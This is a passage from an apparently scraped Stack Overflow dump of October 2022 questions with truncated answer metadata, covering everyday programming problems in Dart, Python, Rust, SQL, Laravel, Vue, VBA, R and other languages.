response = await http.get(
Uri.parse(
'http://adsa.er.net:83/APP1/APPProducts'),
headers: {
HttpHeaders.authorizationHeader: conf,
},
);
}
if (response.statusCode == 200) {
return response.body;
}
throw Exception(response.reasonPhrase);
}
</code></pre>
<p>Supposedly with this code, when the server one sent a response other than 200 it passed to the "if", I think it is working correctly.</p>
<p>But now when server 1 is off the call is made and it is infinitely waiting for the answer.</p>
<p>So I wanted that after 2 seconds, if I didn't hear an answer, it would go the next server</p>
| [
{
"answer_id": 74185211,
"author": "Jeffrey",
"author_id": 4474230,
"author_profile": "https://Stackoverflow.com/users/4474230",
"pm_score": 3,
"selected": true,
"text": "0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 \nX X X X X X X \n15 16 17 18 19 20 21 22 23 ... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185169",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19995322/"
] |
74,185,196 | <p>I want to get the first element of a dict, "names(1)" doesn't work.</p>
<pre><code>names = {"John":20, "Marc":22, "Dwayne":23}
print(names(1))
</code></pre>
| [
{
"answer_id": 74185218,
"author": "rdas",
"author_id": 2947378,
"author_profile": "https://Stackoverflow.com/users/2947378",
"pm_score": 3,
"selected": false,
"text": "iter"
},
{
"answer_id": 74185239,
"author": "Matei Piele",
"author_id": 18143450,
"author_profile":... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185196",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20324123/"
] |
74,185,204 | <p>To break down my question:</p>
<p>Lets say I have 5 books, each book has details on the authors(eachbook has multiple authors), and details on when it was published.</p>
<p>Therefore, i need 5 collections, one for each book, and within each collection I would need many documents on the authors, and one document on the details?</p>
<p>What single query would I need to insert data into 4 of these books at the same time?</p>
<p>i'm using mongodb</p>
| [
{
"answer_id": 74218267,
"author": "Navjot Sharma",
"author_id": 20201743,
"author_profile": "https://Stackoverflow.com/users/20201743",
"pm_score": 0,
"selected": false,
"text": "db.collectionName.insertMany([{_id:1,name:raj},{_id:2,name:ashwin}])\n"
}
] | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185204",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20323656/"
] |
74,185,232 | <p>I have 3 tables as below:</p>
<p><strong>Users Table</strong> (has only one phone):</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>id</th>
<th>Name</th>
<th>phone_id</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Sam</td>
<td>1</td>
</tr>
<tr>
<td>2</td>
<td>Tom</td>
<td>2</td>
</tr>
</tbody>
</table>
</div>
<pre class="lang-php prettyprint-override"><code>/**
* @return HasOne
*/
public function phone()
{
return $this->hasOne(phones::class);
}
/**
* @return ???
*/
public function key()
{
return ???;
}
</code></pre>
<p><strong>Phone Table</strong> (has only one key):</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>id</th>
<th>Name</th>
<th>key_id</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Nokia</td>
<td>1</td>
</tr>
<tr>
<td>2</td>
<td>Samsung</td>
<td>2</td>
</tr>
</tbody>
</table>
</div>
<pre class="lang-php prettyprint-override"><code>/**
* @return HasOne
*/
public function key()
{
return $this->hasOne(keys::class);
}
</code></pre>
<p><strong>Key Table</strong>:</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>id</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>asd123</td>
</tr>
<tr>
<td>2</td>
<td>qwe345</td>
</tr>
</tbody>
</table>
</div>
<pre class="lang-php prettyprint-override"><code>/**
* @return belongTo
*/
public function phone()
{
return $this->belongTo(phones::class);
}
</code></pre>
<p>I wanted to know how to get the key from the user model:</p>
<pre class="lang-php prettyprint-override"><code>User::find(1)->key()->Name
</code></pre>
| [
{
"answer_id": 74185332,
"author": "didene tahi",
"author_id": 7263394,
"author_profile": "https://Stackoverflow.com/users/7263394",
"pm_score": 2,
"selected": true,
"text": "hasOneThrough"
},
{
"answer_id": 74185750,
"author": "Sumit kumar",
"author_id": 11545457,
"a... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185232",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12938726/"
] |
74,185,283 | <p>Before I state the issue I'll mention I'm using PHP and laravel 9, and my database is mysql with the following charset and collation:
'charset' => 'utf8mb4',
'collation' => 'utf8mb4_unicode_ci',</p>
<p>I am working with ADIDs and a table called devices where the device->adid has the unique constraint. I know this sounds unnecessary, but for <em>reasons</em> I need the unique to be case sensitive so that I can store the ADID uppercase and lowercase.</p>
<p>I'm trying to make it so I can create a device like this:</p>
<p><code>Devices::create(['adid' => '12341234-1234-1234-1234-NOTAREALADID]);</code></p>
<p>AND then make a second device with this adid:</p>
<p><code>Devices::create(['adid' => '12341234-1234-1234-1234-notarealadid]);</code></p>
<p>Currently, if I was to try this, the first device would be added to the database properly and the second one would be denied because of the unique constraint. Anyone know how I can get around this?</p>
<p>FYI if it helps, the column in the DB isn't case sensitive, its a string and I can push upper or lower case characters to it, I am only stopped if I try to push anything that already exists that would match case-insensitive.</p>
<p>If I'm missing any important information please let me know and I'll add it, this is my first post!</p>
| [
{
"answer_id": 74185583,
"author": "Bill Karwin",
"author_id": 20860,
"author_profile": "https://Stackoverflow.com/users/20860",
"pm_score": 2,
"selected": true,
"text": "utf8mb4_bin"
},
{
"answer_id": 74186138,
"author": "Drew",
"author_id": 20324107,
"author_profile... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185283",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20324107/"
] |
74,185,288 | <pre><code>use tokio::io::AsyncWriteExt;
use tokio::net::TcpStream;
use std::error::Error;
use futures::StreamExt;
use tokio::io;
use tokio_util::codec::{BytesCodec, FramedRead, FramedWrite};
use std::net::SocketAddr;
#[tokio::main]
pub async fn main() -> Result<(), Box<dyn Error>> {
let stdin = FramedRead::new(io::stdin(), BytesCodec::new());
let stdin = stdin.map(|i| i.map(|bytes| bytes.freeze()));
let stdout = FramedWrite::new(io::stdout(), BytesCodec::new());
let addr: SocketAddr = ...
tokio::spawn(async move {
tcp::connect(&addr, stdin, stdout, rx_client_out).await?;
});
Ok(())
}
</code></pre>
<p>It seems the error is because of the return type of the function that makes the tcp connection, i.e. the <code>Box<dyn Error></code></p>
<p>I'm not sure how to fix this, was hoping someone can explain it.</p>
<pre><code>error[E0277]: the trait bound `(): FromResidual<Result<Infallible, Box<dyn std::error::Error>>>` is not satisfied
--> service/src/bin/abcd.rs:43:29
|
43 | tokio::spawn(async move {
| _____________________________-
44 | | tcp::connect(&addr, stdin, stdout, rx_client_out).await?;
45 | | });
| | ^
| | |
| |_____the trait `FromResidual<Result<Infallible, Box<dyn std::error::Error>>>` is not implemented for `()`
</code></pre>
<p>The function outline looks like this:</p>
<pre><code>mod tcp {
use bytes::Bytes;
use futures::{future, Sink, SinkExt, Stream, StreamExt};
use std::{error::Error, io, net::SocketAddr};
use tokio::net::TcpStream;
use tokio_util::codec::{BytesCodec, FramedRead, FramedWrite};
use crate::das_client;
pub async fn connect(
addr: &SocketAddr,
mut stdin: impl Stream<Item = Result<Bytes, io::Error>> + Unpin,
mut stdout: impl Sink<Bytes, Error = io::Error> + Unpin,
inbound_das_client: tokio::sync::mpsc::UnboundedReceiver<das_client::Commands>
) -> Result<(), Box<dyn Error>> {
/// ...
match future::join(sink.send_all(&mut stdin), stdout.send_all(&mut stream)).await {
(Err(e), _) | (_, Err(e)) => Err(e.into()),
_ => Ok(()),
}
}
}
</code></pre>
| [
{
"answer_id": 74185405,
"author": "Kevin Anderson",
"author_id": 83839,
"author_profile": "https://Stackoverflow.com/users/83839",
"pm_score": 0,
"selected": false,
"text": "Result"
},
{
"answer_id": 74187023,
"author": "Vaimer9",
"author_id": 15758804,
"author_profi... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185288",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/39677/"
] |
74,185,314 | <p>Im building a webMVC app with Azure as Identity Provider and Im getting the following error: <br/><br/>
[invalid_user_info_response] An error occurred while attempting to retrieve the UserInfo Resource: I/O error on GET request for "https://graph.microsoft.com/oidc/userinfo": graph.microsoft.com
<br/></p>
<pre><code>[nio-8080-exec-3] o.s.web.client.RestTemplate : HTTP GET https://graph.microsoft.com/oidc/userinfo
[nio-8080-exec-3] o.s.web.client.RestTemplate : Accept=[application/json, application/*+json]
[nio-8080-exec-3] .s.a.DefaultAuthenticationEventPublisher : No event was found for the exception org.springframework.security.oauth2.core.OAuth2AuthenticationException
[nio-8080-exec-3] o.s.s.web.DefaultRedirectStrategy : Redirecting to /login?error
</code></pre>
<p>Am I missing something?</p>
<pre><code>spring.security.oauth2.client.provider.azure.issuer-uri=https://login.microsoftonline.com/XXXX/v2.0
spring.security.oauth2.client.registration.myapp.client-name=XXXX
spring.security.oauth2.client.registration.myapp.client-id=XXXX
spring.security.oauth2.client.registration.myapp.client-secret=XXXX
spring.security.oauth2.client.registration.myapp.provider=azure
spring.security.oauth2.client.registration.myapp.redirect-uri=http://localhost:8080/login/oauth2/code/
spring.security.oauth2.client.registration.myapp.scope=openid, profile, User.Read
spring.security.oauth2.client.registration.myapp.authorization-grant-type=authorization_code
</code></pre>
| [
{
"answer_id": 74244915,
"author": "Sridevi",
"author_id": 18043665,
"author_profile": "https://Stackoverflow.com/users/18043665",
"pm_score": 1,
"selected": false,
"text": "https://login.microsoftonline.com/tenantID/oauth2/v2.0/authorize?\nclient_id=client_id\n&response_type=code\n&redi... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185314",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2566397/"
] |
74,185,323 | <p>I have the bellow df and I'm trying to replicate the single value present in the column(Per_Extract) in the rest of the column
df</p>
<pre><code> IN Per_Extract
0 IN7395593 NaN
1 IN7444113 FROM : 2022-08-01 TO : 2022-10-20
2 IN7444613 FROM : 2022-08-01 TO : 2022-10-20
3 IN7444116 FROM : 2022-08-01 TO : 2022-10-20
4 IN7334213 NaN
</code></pre>
<p>my desired output should be this:</p>
<pre><code>df
IN Per_Extract
0 IN7395593 FROM : 2022-08-01 TO : 2022-10-20
1 IN7444113 FROM : 2022-08-01 TO : 2022-10-20
2 IN7444613 FROM : 2022-08-01 TO : 2022-10-20
3 IN7444116 FROM : 2022-08-01 TO : 2022-10-20
4 IN7334213 FROM : 2022-08-01 TO : 2022-10-20
</code></pre>
<p>I tried ffill, but it didnt work</p>
<pre><code>df['Per_Extract'] = df['Per_Extract'].ffill()
</code></pre>
<p>coud you guys help me?</p>
| [
{
"answer_id": 74185350,
"author": "Filip Niko",
"author_id": 12193952,
"author_profile": "https://Stackoverflow.com/users/12193952",
"pm_score": 0,
"selected": false,
"text": "df['Per_Extract'] = df['Per_Extract'].fillna(method='ffill')\n"
},
{
"answer_id": 74185357,
"author... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185323",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14015437/"
] |
74,185,335 | <p>My current script looks something like this:</p>
<pre><code>#!/bin/sh
cd Desktop/work-directory/project-directory/
code .
npx expo run:ios -d
sleep 10
xdotool key Return
</code></pre>
<ul>
<li>I navigate to a directory I open every morning for work.</li>
<li>I open my text editor.</li>
<li>I run the <code>npx expo run:ios -d</code> command to run my build on my local device.</li>
<li>You can read more about it here if you are interested: (<a href="https://docs.expo.dev/workflow/run-on-device/" rel="nofollow noreferrer">https://docs.expo.dev/workflow/run-on-device/</a>)</li>
<li>After running <code>npx expo run:ios -d</code> I am asked to "Select a simulator" where I pick which simulated device I want to create the build for.</li>
<li>I always build it on my local device. Considering it's the first option available, I just want the above script to press Return/Enter when prompted to continue building the app without me having to be by the terminal.</li>
</ul>
<p>From an outsiders perspective, might anyone be able to shed some light on what I might be doing wrong? Is my syntax wrong? Does someone know if I have to use any different tools from <code>xdotool</code> to interact with the Expo CLI prompt? Any and all help would be greatly appreciated.</p>
<ul>
<li>I already tried using <code>yes</code> and that did not work. I specifically need enter or return.</li>
<li>I have adjusted sleep to over 30 seconds to see if that does it.</li>
<li>I have read about <code>Expect</code> and unsure if that is the route I want to go/the tool I even need.</li>
</ul>
<p>Thank you so much and I look forward to hearing from y'all within the Bash community :)</p>
| [
{
"answer_id": 74353776,
"author": "ipdxcreative",
"author_id": 13054042,
"author_profile": "https://Stackoverflow.com/users/13054042",
"pm_score": 0,
"selected": false,
"text": "npx expo run:ios -d"
}
] | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185335",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13054042/"
] |
74,185,369 | <p>I am writing a program that asks the user to input a list of students. Once the list is made the user can input a student's name that was listed before to show 4 random integers from 1 to 100 that represent 4 different marks on assignments. When I run this program, however, the mark is the same number each time. How do I run the program so that each number for the mark is different, also how can I store these values in a separate list? Thank You!</p>
<pre><code>def printMark(studentMark, studentName):
print("Enter the names of your students")
print("Press the enter key to store another name. print q or Q when you're done.")
names = input("Enter student name: \n")
classlist = []
while True:
names = input("")
if str.lower(names) == 'q':
break
classlist.append(names)
for name in classlist:
print(name)
student_choice = input("Enter a students in your classlist: ")
if student_choice not in classlist:
print("That students is not in your class")
elif student_choice in classlist:
mark = list(range(1, 101))
print("A1:" + str(studentMark) + "\nA2:" + str(studentMark) + "\nA3:" + str(studentMark) + "\nA4:" + str(studentMark))
classlist = []
import random
mark = list(range(1, 101))
printMark(random.sample(mark, k=4), classlist)
</code></pre>
| [
{
"answer_id": 74185477,
"author": "Samwise",
"author_id": 3799759,
"author_profile": "https://Stackoverflow.com/users/3799759",
"pm_score": 0,
"selected": false,
"text": "printMark"
},
{
"answer_id": 74185497,
"author": "user17301834",
"author_id": 17301834,
"author_... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185369",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20055570/"
] |
74,185,373 | <p>I don't have much knowledge about html and css and I couldn't find the answer on the internet so I am here.</p>
<p>Problem:
I am trying to make an image fill top part of the screen but one thing stops me from it and it's the default margin of the <code><body></code>. I've managed it by using <code>margin: -10px;</code> But now the image can't fill the screen by <code>20px</code>, probably because there is no margin, image still thinks screen is that big.</p>
<p><a href="https://i.stack.imgur.com/DWZAk.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/DWZAk.jpg" alt="the current problem" /></a></p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>html,body {
width: 100%;
height: 100%;
margin: -10px;
padding: 0;
overflow: hidden;
}
img {
width: 1600px;
height: 300px;
opacity: 70%;
object-fit: cover;
object-position: top 10px;
}
.cont {
position: relative;
text-align: center;
padding: 10px;
}
.main-text {
font-size: 100px;
color: white;
position: absolute;
top: 100px;
left: 70px;
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><body>
<div class="cont">
<img src="https://i.stack.imgur.com/DWZAk.jpg">
<div class="main-text">Big Ass Title</div>
</div>
</body></code></pre>
</div>
</div>
</p>
<p>NOTE: If you have any questions or didn't understand anything about the question, please ask because I am ready for any answer. :) Thanks.</p>
| [
{
"answer_id": 74185477,
"author": "Samwise",
"author_id": 3799759,
"author_profile": "https://Stackoverflow.com/users/3799759",
"pm_score": 0,
"selected": false,
"text": "printMark"
},
{
"answer_id": 74185497,
"author": "user17301834",
"author_id": 17301834,
"author_... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185373",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17466522/"
] |
74,185,385 | <p>Im currently trying to setup a ternary operator condition in my onClick event in Next.js.
But im getting an error saying my condition is returning nothing. Please help...</p>
<p><a href="https://i.stack.imgur.com/M03Q7.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/M03Q7.png" alt="enter image description here" /></a></p>
<p><a href="https://i.stack.imgur.com/6NcPG.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/6NcPG.png" alt="enter image description here" /></a></p>
| [
{
"answer_id": 74185416,
"author": "kind user",
"author_id": 6695924,
"author_profile": "https://Stackoverflow.com/users/6695924",
"pm_score": 2,
"selected": false,
"text": "onClick"
},
{
"answer_id": 74185425,
"author": "DownloadPizza",
"author_id": 8997916,
"author_... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185385",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15828620/"
] |
74,185,392 | <p>I'm trying to get all the interfaces (they are all open generic) derived from <code>IService</code> that a <code>Random</code> class implements. I'm sure that at least one interface <code>Random</code> is implementing inherits from <code>IService<,></code> <strong>but no items is being added to the <code>iServiceTypeInterfaces</code> list</strong>.</p>
<p>I have the following code:</p>
<pre><code>var iServiceTypeInterfaces = new List<Type>();
Type iServiceGeneric = typeof(IService<,>);
foreach(Type i of Random.GetInterfaces())
{
Type currentGenericType = i.GetGenericTypeDefinition();
bool isAssignable = currentGenericType.IsAssignableTo(iServiceGeneric);
if(isAssignable)
{
iServiceTypeInterfaces.Add(i);
}
}
</code></pre>
<pre><code>public interface IService<T, TSearcheable>
where T : class
where TSearcheable : class
{
Task<IEnumerable<T>> GetAll(TSearcheable searchObj);
Task<T> GetById(Guid id);
Task Create(T entity);
Task Update(T entity);
Task Delete(T entity);
}
</code></pre>
<pre><code>public interface IProjectService<T, TSearcheable> : IService<T, TSearcheable>
where T : class
where TSearcheable : class
{
Task<List<Technology>> GetTechs(List<Guid> ids);
}
</code></pre>
| [
{
"answer_id": 74185948,
"author": "Sweeper",
"author_id": 5133585,
"author_profile": "https://Stackoverflow.com/users/5133585",
"pm_score": 1,
"selected": false,
"text": "IsAssignableTo"
},
{
"answer_id": 74186944,
"author": "Guido Glielmi",
"author_id": 16894049,
"a... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185392",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16894049/"
] |
74,185,407 | <p>I have a string that would look something like this:</p>
<pre class="lang-js prettyprint-override"><code>var str = '§kfoo bar 123§rfoo bar 123§kfoo bar 123§r';
// ^ ^
</code></pre>
<p>and I want to replace "bar" only when it appears between §k and §r (in this example, the 1st and 3rd ones).</p>
<p>Just replacing them in that string is not an option, that is just an example. The string is a user input, which means the amount of substrings will vary.</p>
<p>Is there any way to do that?</p>
| [
{
"answer_id": 74185526,
"author": "Blye",
"author_id": 5726956,
"author_profile": "https://Stackoverflow.com/users/5726956",
"pm_score": 2,
"selected": false,
"text": ".replace"
},
{
"answer_id": 74246716,
"author": "Pedro270707",
"author_id": 19860993,
"author_profi... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185407",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19860993/"
] |
74,185,422 | <p>I wrote a function where you pass two integers and an operator character (+-*/) and give a result of the two numbers. The code takes the character and checks it using its ascii value. If I pass a number in place of the operator (42 instead of *) then it works, but I don't know how to pass it as a char because the function has int argc and int * argv parameters (the function prototype was written by an instructor.) How do I make it so I can pass the char straight from the command line?</p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int result;
int main(int argc, char *argv[]){
printf("main_add pid: %d\n", getpid());
int a = 0;
int b = 0;
char c;
//printf("%s\n", argv[1]);
//printf("%s\n", argv[2]);
//printf("%s\n", argv[3]);
a = atoi(argv[1]);
b = atoi(argv[2]);
c = atoi(argv[3]);
if (c=='*'){
result = a * b;
printf("%d * %d = %d\n", a, b, result);
}
else if(c=='+'){
result = a + b;
printf("%d + %d = %d\n", a, b, result);
}
else if(c=='-'){
result = a - b;
printf("%d - %d = %d\n", a, b, result);
}
else if(c=='/'){
result = a / b;
printf("%d / %d = %d\n", a, b, result);
}
else{
printf("fail");
}
}
```[enter image description here][2]
[1]: https://i.stack.imgur.com/X0eiN.png
[2]: https://i.stack.imgur.com/ij5FR.png
</code></pre>
| [
{
"answer_id": 74185526,
"author": "Blye",
"author_id": 5726956,
"author_profile": "https://Stackoverflow.com/users/5726956",
"pm_score": 2,
"selected": false,
"text": ".replace"
},
{
"answer_id": 74246716,
"author": "Pedro270707",
"author_id": 19860993,
"author_profi... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185422",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19504279/"
] |
74,185,424 | <p>I trying to append a JSON value in the Postgres table</p>
<p><strong>Table structure</strong></p>
<pre><code>id | name | field
------------------------------------
1 | jack |{age:22, place:"london"}
2 | rocky|{age:34, place:"nyc"}
</code></pre>
<p>for the first records, I'm appending the value "NYC" to the existing value(example: {age:22, place:"London,NYC"}
and for the second record, I'm replacing the existing value "nyc" to "SFO"</p>
<pre><code>update table
set field->>place = field->>place + "NYC"
where id =1
update table
set field->>place = "SFO"
where id =2
</code></pre>
<p>but the first record is not getting updated.</p>
| [
{
"answer_id": 74185875,
"author": "Stefanov.sm",
"author_id": 2302032,
"author_profile": "https://Stackoverflow.com/users/2302032",
"pm_score": 3,
"selected": true,
"text": "||"
},
{
"answer_id": 74186582,
"author": "Zegarek",
"author_id": 5298879,
"author_profile": ... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185424",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3135139/"
] |
74,185,450 | <p>I am populating a userform list using a collection which pulls from a list in a separate worksheet with over 200,000 records (non unique). However it takes an hour to populate the list because of the number of records. Is there any way to optimize this and make the userform initialize faster, possibly by reducing the 200k records into a smaller list with only unique values before then trying to load it into the collection?</p>
<pre><code> LastRow = SourceSheet.Cells(Rows.Count, 3).End(xlUp).Row
On Error Resume Next
Set Coll = New Collection
'Open a With structure for the ListBox control.
With ClientInput
.Clear
For Each cell In SourceSheet.Range("B2:B" & LastRow)
'Only attempt to populate cells containing a text or value.
If Len(cell.Value) <> 0 Then
Err.Clear
Coll.Add cell.Text, cell.Text
If Err.Number = 0 Then .AddItem cell.Text
End If
Next cell
blnUnsorted = True
Do
blnUnsorted = False
For i = 0 To UBound(.List) - 1
If LCase(.List(i)) > LCase(.List(i + 1)) Then
temp = .List(i)
.List(i) = .List(i + 1)
.List(i + 1) = temp
blnUnsorted = True
Exit For
End If
Next i
Loop While blnUnsorted = True
'Close the With structure for the ListBox control.
End With
</code></pre>
| [
{
"answer_id": 74185875,
"author": "Stefanov.sm",
"author_id": 2302032,
"author_profile": "https://Stackoverflow.com/users/2302032",
"pm_score": 3,
"selected": true,
"text": "||"
},
{
"answer_id": 74186582,
"author": "Zegarek",
"author_id": 5298879,
"author_profile": ... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185450",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19402221/"
] |
74,185,475 | <p>Im trying to make a loop to fill a list with values ranging from 0 to 6 for 100 times.
i tired it like this but i seems like it it multiply it self 100*6</p>
<pre><code>ls = []
x = 0
i = 0
y = 0
while x != 10:
for i in range (1,7):
ls.append(i)
x +=1
print(ls)
</code></pre>
<p>Does anybody knows any solution to this. Thanks in advance. If anyone also knows a solution in pandas that would also be great!!</p>
| [
{
"answer_id": 74185504,
"author": "ᴊᴇsᴘᴇʀᴋ.ᴇᴛʜ",
"author_id": 3462321,
"author_profile": "https://Stackoverflow.com/users/3462321",
"pm_score": 0,
"selected": false,
"text": "Pandas"
},
{
"answer_id": 74185507,
"author": "mozway",
"author_id": 16343464,
"author_profi... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185475",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9904325/"
] |
74,185,490 | <p>When I stack a raster (using the stack function in the raster R package) that has a nodata value of -3.4e+38 and then write the raster to a tif, the nodata value becomes apart of the value range for the raster (min of -3.4028234663853e+38).The minimum value of the original raster was 0. How do I get my code to recognize the nodata value and not incorporate it as a value in the output raster? Note that the output raster also has a nodata value (when I look at the raster properties in QGIS) of -3.4e+38.</p>
<p>Here is my code:</p>
<pre><code>temp_10m<-raster("temp_10m.tif")
stack<-stack(temp_10m)
save(stack, file = "temp_test.Rdata")
writeRaster(stack, filename=names(stack), bylayer=TRUE,format="GTiff", overwrite=TRUE)
</code></pre>
| [
{
"answer_id": 74185504,
"author": "ᴊᴇsᴘᴇʀᴋ.ᴇᴛʜ",
"author_id": 3462321,
"author_profile": "https://Stackoverflow.com/users/3462321",
"pm_score": 0,
"selected": false,
"text": "Pandas"
},
{
"answer_id": 74185507,
"author": "mozway",
"author_id": 16343464,
"author_profi... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185490",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9232217/"
] |
74,185,495 | <p>I've starting exercising <code>vuejs</code> and I've learned that to communicate data from child component back to parent component we use <code>this.$root.$emit('name-of-event', myobject);</code></p>
<p>which would be received from parent with the help of <code>this.$root.$on('name-of-event');</code></p>
<p>In the other hand, I got a vuejs project which I use to compare what I had learned with what is implemented in it and there I found that the component listening to my event is not the parent of that component (the tag of the component triggering the event is not rendered in the one who is listening to it)</p>
<p>My question: is it always the case that the direct parent is the one who listens to the triggered event ? could other component be listening to emitted events ?</p>
<p><strong>myAcomponent.vue :</strong></p>
<pre><code> updateDate(value) {
//body of updateDate method
this.$root.$emit('date-updated', this.project);
}
</code></pre>
<p><strong>myBcomponent.vue :</strong></p>
<pre><code><script>
created() {
this.$root.$on('date-updated', project => {
this.updateproject(project);
});
}
</script>
<template>
//no call in template for myAcomponent
</template>
</code></pre>
| [
{
"answer_id": 74185504,
"author": "ᴊᴇsᴘᴇʀᴋ.ᴇᴛʜ",
"author_id": 3462321,
"author_profile": "https://Stackoverflow.com/users/3462321",
"pm_score": 0,
"selected": false,
"text": "Pandas"
},
{
"answer_id": 74185507,
"author": "mozway",
"author_id": 16343464,
"author_profi... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185495",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20324343/"
] |
74,185,498 | <p>I have a video file hosted which looks like this:</p>
<blockquote>
<p><a href="https://cdn.shopify.com/s/files/1/0664/3037/0044/files/video" rel="nofollow noreferrer">https://cdn.shopify.com/s/files/1/0664/3037/0044/files/video</a></p>
</blockquote>
<p>Right now, the video file has no extension at all. Using Javascript, how can I download the file with .mp4 extension. I need a way to change its filename to [filename].mp4 and then download.</p>
<p>I tried the following but it downloads the file without the extension.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>function downloadURI(uri, name) {
var link = document.createElement("a");
link.download = name;
link.href = uri;
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
delete link;
}
downloadURI("https://cdn.shopify.com/s/files/1/0664/3037/0044/files/video", "video.mp4");</code></pre>
</div>
</div>
</p>
| [
{
"answer_id": 74185548,
"author": "ThatOneCoder",
"author_id": 15942680,
"author_profile": "https://Stackoverflow.com/users/15942680",
"pm_score": 0,
"selected": false,
"text": "const myRenamedFile = new File([myFile], 'my-file-final-1-really.txt');"
},
{
"answer_id": 74185671,
... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185498",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19105564/"
] |
74,185,542 | <p><strong>Backstory</strong></p>
<p>I'm working on a small interactive piece and need a way to uniquely keep track of object names using only integers. I thought I had a solution but once I fix a collision I seem to get into another.</p>
<p>example of object names:</p>
<p><code>/=====Folders=====/MAZE/Grid Spawner/Cell ((0, 0))/Room (0, 0)/Level 0, Drawer/drawer_0</code> where all the <code>0</code> values can be anything from 1-10</p>
<p><strong>Question</strong></p>
<p>How can I make sure that any entry I come across can turn into a unique integer?</p>
<p><strong>Code</strong></p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>let arr = [
"/=====Folders=====/MAZE/Grid Spawner/Cell ((0, 0))/Room (0, 0)/Level 0, Drawer/drawer_1",
"/=====Folders=====/MAZE/Grid Spawner/Cell ((0, 1))/Room (0, 0)/Level 0, Drawer/drawer_1",
"/=====Folders=====/MAZE/Grid Spawner/Cell ((0, 2))/Room (0, 0)/Level 0, Drawer/drawer_2",
"/=====Folders=====/MAZE/Grid Spawner/Cell ((0, 0))/Room (0, 3)/Level 0, Drawer/drawer_1",
"/=====Folders=====/MAZE/Grid Spawner/Cell ((0, 0))/Room (0, 0)/Level 0, Drawer/drawer_3",
"/=====Folders=====/MAZE/Grid Spawner/Cell ((0, 3))/Room (0, 0)/Level 0, Drawer/drawer_2"];
function GameObjectPathToInt(str) {
let ret = 0;
for(let i = 0; i < str.length; ++i)
{
let posVal = 1 + i;
let charVal = 1 + str.charCodeAt(i);
ret += posVal * charVal;
/* console.log(charVal, str[i]) */
}
return ret;
}
arr = arr.map((str) => GameObjectPathToInt(str));
/* console.log(arr.sort()); */
arr.reduce((prev, cur) => {prev == cur ? console.log("DUPLICATE", cur) : null; return cur});</code></pre>
<pre class="snippet-code-css lang-css prettyprint-override"><code>body {
background-color: black;
}</code></pre>
</div>
</div>
</p>
<p>** EDIT **</p>
<p>I must add that I am passing this integer value to a backend service which limits my integers to a uint32 max value of 4294967295 (0xFFFFFFFF)</p>
| [
{
"answer_id": 74185548,
"author": "ThatOneCoder",
"author_id": 15942680,
"author_profile": "https://Stackoverflow.com/users/15942680",
"pm_score": 0,
"selected": false,
"text": "const myRenamedFile = new File([myFile], 'my-file-final-1-really.txt');"
},
{
"answer_id": 74185671,
... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185542",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/332578/"
] |
74,185,545 | <p>I have a simple function that asserts that an object is an instance of a class. The object and the class are both passed as arguments to the function.</p>
